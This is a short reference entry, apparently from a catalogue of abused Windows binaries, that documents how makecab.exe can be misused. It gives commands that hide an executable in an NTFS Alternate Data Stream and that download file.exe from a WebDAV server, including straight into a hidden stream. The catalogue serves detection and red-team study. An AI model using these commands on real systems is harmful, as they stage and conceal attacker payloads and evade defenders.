--- Name: Makecab.exe Description: Package, Add ADS, Download Author: '' Created: '2018-05-25' Categories: [] Commands: - Command: makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab Description: Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file. - Command: makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab Description: Compresses the target file and stores it in the target file. - Command: makecab \\webdavserver\webdav\file.exe C:\Folder\file.txt:file.cab Description: Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file. Full Path: - c:\windows\system32\makecab.exe - c:\windows\sysWOW64\makecab.exe Code Sample: [] Detection: [] Resources: - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f Notes: Thanks to Oddvar Moe - @oddvarmoe